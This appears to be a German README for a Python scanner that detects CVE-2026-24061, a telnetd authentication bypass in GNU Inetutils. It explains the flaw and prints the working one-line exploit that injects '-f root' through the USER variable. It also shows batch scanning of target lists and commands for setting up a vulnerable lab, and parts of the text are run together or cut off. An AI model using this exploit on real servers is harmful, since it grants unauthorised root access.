
Python-basierter Scanner, der CVE-2026-24061 in GNU Inetutils telnetd erkennt und Batch-Tests mehrerer Ziele auf die Authentifizierungs-Bypass-Schwachstelle ermöglicht.
⚠️ Hinweis:
CVE-2026-24061GNU Inetutils ist eine klassische Netzwerk-Toolsammlung des GNU-Projekts, die dentelnetd-Dienst enthält, also den Telnet-Server-Daemon. In den Versionen 1.9.3 bis 2.7 weist dertelnetd-Dienst einen kritischen Fehler im Benutzerauthentifizierungsprozess auf. Wenn der Dienst das System-Login-Programm/usr/bin/loginaufruft, werden die vom Client übergebenenUSER-Umgebungsvariablen nicht ausreichend gefiltert und validiert. Ein Angreifer kann durch das Setzen eines bestimmtenUSER-Variablenwerts den Parameter-fdirekt in denlogin-Befehl injizieren. Der-f-Parameter des -Programms dient zum „Überspringen der sekundären Authentifizierung“, wodurch der Angreifer sämtliche Passwortprüfungen vollständig umgehen und direkt eine Remote-Sitzung als -Benutzer aufbauen kann, um die höchste Kontrolle über den Server zu erlangen. Diese Schwachstelle ist äußerst gefährlich und entspricht einem öffentlichen, ohne jegliche Anmeldeinformationen nutzbaren Remote-Root-Hintertürchen.
loginrootUSER='-f root' telnet -a <target_ip>

python3 cve-2026-24061.py -i 10.10.168.128
python3 cve-2026-24061.py -f targets.txt
Der obige Befehl setzt die Umgebungsvariable USER auf -f root. Wenn der anfällige telnetd-Dienst eine Verbindung empfängt, konstruiert und führt er einen Systemaufruf ähnlich dem folgenden aus:
sudo apt update
sudo apt install openbsd-inetd inetutils-telnetd telnet -y
sudo sed -i 's/^#telnet/telnet/' /etc/inetd.conf
sudo systemctl restart openbsd-inetd
sudo ss -tuln | grep ':23'
telnet localhost 23